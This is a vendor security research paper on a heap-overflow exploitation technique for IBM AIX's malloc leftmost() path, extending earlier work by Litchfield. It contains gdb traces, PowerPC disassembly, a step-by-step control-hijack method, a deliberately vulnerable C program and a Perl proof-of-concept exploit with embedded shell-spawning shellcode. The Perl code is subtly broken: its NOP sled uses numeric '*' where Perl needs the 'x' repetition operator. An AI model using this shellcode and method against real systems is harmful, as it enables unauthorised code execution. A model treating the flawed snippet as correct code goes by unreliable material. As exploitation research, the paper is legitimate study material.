Advanced IBM AIX Heap Exploitation

Tim Shelton
V.P. Research & Development
HAWK Network Defense, Inc.
tshelton@hawkdefense.com

Introduction

Our society has become dependent on computers and network systems. This dependence has continued to grow since the Internet and e-commerce exploded in the 1990s. Exposure to computer systems' vulnerabilities has also grown at an alarming rate as hackers strive to identify and make the most of the vulnerabilities. Consequently, computers are attacked and compromised on a daily basis. These attacks steal personal identities, bring down an entire network, disable the online presence of businesses, or eliminate sensitive information that is critical for personal or business purposes. Over the past year, Virginia's DHS system, TJX, Heartland Payment Systems, Google and T-Mobile have been adversely affected by breaches.

With the ever increasing importance of providing and maintaining reliable services for both infrastructure support as well as business continuity, companies rely upon the IBM AIX operating system. In most cases, these machines hold the most critical data available for their business which makes IBM AIX a highly valued target from a hacker's perspective. Over the past decade, hackers have increasingly focused on infiltrating valuable data such as proprietary databases, credit information, product pricing information and more. As such, the importance of protecting the IBM AIX operating system should be priority one. IBM's AIX 6.1 recent product release stated the following:

> "Businesses today need to maximize the return on investment in information technology. Their IT infrastructure should have the flexibility to quickly adjust to changing business computing requirements and scale to handle ever expanding workloads—without adding complexity. But just providing flexibility and performance isn't enough; the IT infrastructure also needs to provide rock solid security and near-continuous availability and while managing energy and cooling costs.
>
> These are just some of the reasons why more and more businesses are choosing the AIX operating system (OS) running on IBM systems designed with Power Architecture® technology. With its proven scalability, advanced virtualization, security, manageability and reliability features, the AIX OS is an excellent choice for building an IT infrastructure. And, AIX is the only operating system that leverages decades of IBM technology innovation designed to provide the highest level of performance and reliability of any UNIX operating system."
>
> AIX Version 6.1 – ibm.com

Critical applications typically employed by businesses include J.D. Edwards, an Enterprise Resource Planning software, as well as critical databases such as Oracle and IBM's DB2. The importance of the IBM AIX operating system cannot be stressed enough; now let's get to the real action.

The early days: Initial Research

There are two types of managed data storage within each application. The application developer can choose to their defined variables on the stack, which is managed by the CPU, or on the heap, which is managed by the allocation management library provided by the operating system or has been implemented manually by the application development team. Stack corruption has been covered extensively for many different operating systems and processor classes. This type of memory corruption tends to be processor specific and has little to do with the underlying operating system itself, unless specific operating system tricks has been put in place to help thwart corruption abuse. Despite our lack of coverage on this type of corruption, publicly available documentation is available describing methodologies to gain control of code execution. This paper specifically focuses on abuse of the heap management interface for the IBM AIX operating system. Initial heap exploitation research was first documented and published by David Litchfield, in August of 2005. His paper entitled, "An Introduction to Heap overflows on AIX 5.3L" focused on AIX heap abuse within the utilization of heap's free()/rightmost() functions. Litchfield's methodology of heap corruption requires only 8 bytes of data, and will triggered execution control upon a function call to free(), which in turn requires the rightmost() function during processing. This means after our heap corruption, a free call is used within the vulnerable code, providing us with the ability to take control of code execution. While this certainly may be common, it is not always guaranteed to be used within our targeted vulnerable code. Litchfield's methodology provides a bi-directional double 4-byte overwrite within memory.

Review of Methodology

- Create our fake heap frame in memory for heap abuse
- Overwrite our initial 8 bytes during memory corruption
  - This will start our method for hijacking code execution
  - First 4 bytes – location of our fake heap frame in memory
  - Last 4 bytes – heap size, will match our heap size in the fake frame
- Our Fake Frame – total of 16 bytes
  - First 4 bytes – PowerPC branch instruction
  - Second 4 bytes – PowerPC no-op instruction

  - Third 4 bytes – pointer to the value we want to overwrite
  - Last 4 bytes – heap size, will match our heap size in the overflow
- Taking control of execution
  - Hijack the immediate saved link register on the stack
  - Hijack a callable function within the application's export list
  - Hijack function pointers stored on the Heap or Stack
- Help from MALLOCDEBUG/MALLOCTYPE AIX functionality when hunting for heap corruption.

A New Era: Abusing Both Interfaces within Heap Management

While Litchfield's method solves one scenario, there is an additional scenario that has been left out. So what is the difference between the leftmost call versus rightmost? A stack trace will show leftmost is utilized when a fresh heap segment is requested, while rightmost is utilized when the application requests the heap to remove a previously allocated chunk from memory.

```
(gdb) bt
 #0  0xd011d5c8 in leftmost () from /usr/lib/libc.a(shr.o)
 #1  0xd011fa58 in malloc_y () from /usr/lib/libc.a(shr.o)
 #2  0xd011c44c in malloc_common@AF80_63 () from /usr/lib/libc.a(shr.o)
 #3  0xd011c1f4 in malloc () from /usr/lib/libc.a(shr.o)
```

Upon redirecting the heaps frame with our 8 bytes of memory corruption, we can once again take control of the flow of execution utilizing the well appreciated 4 byte memory overwrite. However, despite Litchfield's flexible methodology, this new method requires patching of the next available saved link register located on the stack immediately upon returning from leftmost, to avoid the associated corruption that will be detected within the follow up function from malloc_y.

So the question is, what specific values are we abusing? Would you ever think the size of our heap frame would ever matter? In Litchfield's methodology, the size of the heap space is arbitrary and its only requirement is that it matches from the 8-byte overflow to our fake heap frame. While the size specified of our heap space is not useful in the described technique by Litchfield, it is *this* value that allows us to specify our value for writing during the utilization of the 4-byte overwrite.

**NOTE: Below is our initial controlled action, which points to the beginning of our fake heap frame. The base of our fake heap frame plus 4 bytes should point to our standardized heap size, which must contain the pointer to our shellcode.

```
(gdb) x/5i $pc
0xd011d5b4:    stswi   r5,r7,8
0xd011d5b8:    lwz     r5,2564(r4)

(gdb) i r r5
r5          0x2ff22f50      804400976
(gdb) i r r7
r7          0x2ff21cb4      804396212
```

Our next requirement is to control the location of this overwrite. The location is specified at the beginning of our fake heap frame, and the value will be increased by 0xc (12) bytes. This is calculated by an initial 4 bytes, as well as an additional 8-byte offset during the final "stswi [controllable location], [controllable value + 4], 8" powerpc memory abuse. In order to successfully hijack our flow of execution, we need to find our next saved link register on the stack and specify this location minus 0xc (12) bytes.

```
0xd012926c:    stw     r7,2564(r4) <--- r7 becomes our 2nd frame value
0xd0129270:    addi    r4,r4,2556 <-- r4 becomes a pointer to our 2nd frame
0xd0129274:    li      r3,1 <-- set r3 as 0x1
0xd0129278:    lswi    r5,r7,8 <--- 0x65656565 gets loaded into r5
0xd012927c:    stswi   r5,r4,8 <-- writes value of r5 to r4 (on uncontrolled heap
location)
0xd0129280:    blr <-- taken winds up at 0xd012b758
0xd0129284:    lwz     r5,2564(r4)
0xd0129288:    stw     r6,0(r5)
```

As mentioned before, it becomes necessary to overwrite saved link register address located on the stack, in order to gain the flow of execution before we return back into malloc_y, which will throw a memory access during code execution. This specific control limits us to the specific abuse of the stack, unlike Litchfield's method which provides us with the option of hooking specific function pointers and more. This location can be found when doing a bit of stack analysis near the beginning of our stack pointer. In order to better identify a saved frame pointer located on our stack, we will use a backtrace to identify a list of pointers to look for. Note the memory addresses below located on the left of the stack backtrace; any of the listed pointers should be hijacked before the next opportunity for an additional malloc/free call. This means in order to be most reliable, we should hijack the return pointer for our

malloc_y call (0xd011fa58) on the stack. The hijack of this pointer will lead us to an immediate control of code execution.

```
(gdb) bt
 #0  0xd011d5c8 in leftmost () from /usr/lib/libc.a(shr.o)
 #1  0xd011fa58 in malloc_y () from /usr/lib/libc.a(shr.o)
 #2  0xd011c44c in malloc_common@AF80_63 () from /usr/lib/libc.a(shr.o)
 #3  0xd011c1f4 in malloc () from /usr/lib/libc.a(shr.o)
```

Method Basics Summary Review

- Creating our fake heap frame in memory for heap abuse
- Overwrite our initial 8 bytes during memory corruption
  - This will start our method for hijacking code execution
  - First 4 bytes – location of our fake heap frame in memory
  - Last 4 bytes – heap size, should be the location of our shellcode
- Our Fake Heap Frame
- Hijacking Tip
  - Attack the immediate saved link register on the stack
- Avoidances
  - Null Bytes
  - PowerPC instruction caching (icache)

Example Fake Frame in memory:

0xNNNNNNNN + 0x00	**Location of our shellcode in memory**
0xNNNNNNNN + 0x04	**Pointer to our value to Overwrite (minus 12 bytes)**

Source Code Examples

<vulnerable application>

```
#include <stdio.h>

int foo(char *);

int main(int argc, char *argv[]) {

        foo(argv[1]);

        return 0;

}

int foo(char *arg) {

        char *ptr1 = NULL, *ptr2=NULL, *ptr3=NULL;

        ptr1 = (char *) malloc(20);

        strcpy(ptr1,arg);
        ptr2 = (char *) malloc(0x1020);
        ptr3 = (char *) malloc(0x1020);
        return 0;

}
```

<exploit example >

```
#!/usr/bin/perl

use strict;

my $app = "./leftmost";
my $nop = "\x60\x60\x60\x60" * 800;
my $SHELLCODE=
"\x7c\x08\x02\xa6\x94\x21\xfb\xb0\x90\x01\x04\x58\x3c\x60\xf0\x19" .
"\x60\x63\x2c\x48\x90\x61\x04\x40\x3c\x60\xd0\x02\x90\x61\x04\x38" .
"\x90\x61\x04\x44\x3c\x60\x2f\x62\x60\x63\x69\x6e\x90\x61\x04\x38" .
"\x3c\x60\x2f\x73\x60\x63\x68\x01\x38\x63\xff\xff\x90\x61\x04\x3c" .
"\x30\x61\x04\x38\x7c\x84\x22\x78\x80\x41\x04\x40\x80\x01\x04\x44" .
 "\x7c\x09\x03\xa6\x4e\x80\x04\x20";

%ENV=();

# size == location of shellcode
# break on this  location to debug shellcode

my $size = "\x2f\xf2\x2e\xdc";
# location of our fake frame
my $r7   = "\x2f\xf2\x2f\x38";
my $overwrite_min_twelve = "\x2f\xf2\x2c\xfc";

$ENV{B}  = "F" ; # r7 + 0 -> r6
$ENV{B} .= $overwrite_min_twelve;
$ENV{B} .= $size;
$ENV{B} .= "\x30\x30\x30\x30";
$ENV{B} .= "\x30\x30\x30\x30";
$ENV{B} .= "\x30\x30\x30\x30";
$ENV{B} .= "\x30\x30\x30\x30";
$ENV{B} .= "\x30\x30\x30\x30";
$ENV{B} .= "\x30\x30\x30\x30";
$ENV{B} .= "\x30\x30\x30\x30";
$ENV{B} .= "\x30\x30\x30\x30";

$ENV{A} =  $nop . $SHELLCODE;

my $SUP = "AAAAAAAAAAAAAAAAAAAAAAA" . $r7 . $size;

print "Executing gdb --args $app $SUP\n";
system "gdb" , '--args', $app , $SUP;
# system $app, $SUP;
```

References

"IBM AIX Version 6.1 operating system: Overview". *www-03.ibm.com*. IBM. Web. <http://www-03.ibm.com/systems/power/software/aix/v61/index.html>

"An Introduction to Heap overflows on AIX 5.3L". David Litchfield. *databasesecurity.com*. Database Security. Web. August 25, 2005.

<http://www.databasesecurity.com/dbsec/aix-heap.pdf>

About HAWK Network Defense HAWK Network Defense, Inc. is an award-winning global software developer, providing unparalleled expertise in preventing electronic security threats. The firm is client-focused, with a proven methodology that fosters success. HAWK Network Defense, Inc., has developed the best solution by understanding its client goals and scope to develop solutions that eases transitions and implementation. Founded in 2006, HAWK Network Defense has a proven, effective difference. For more information, visit www.hawkdefense.com.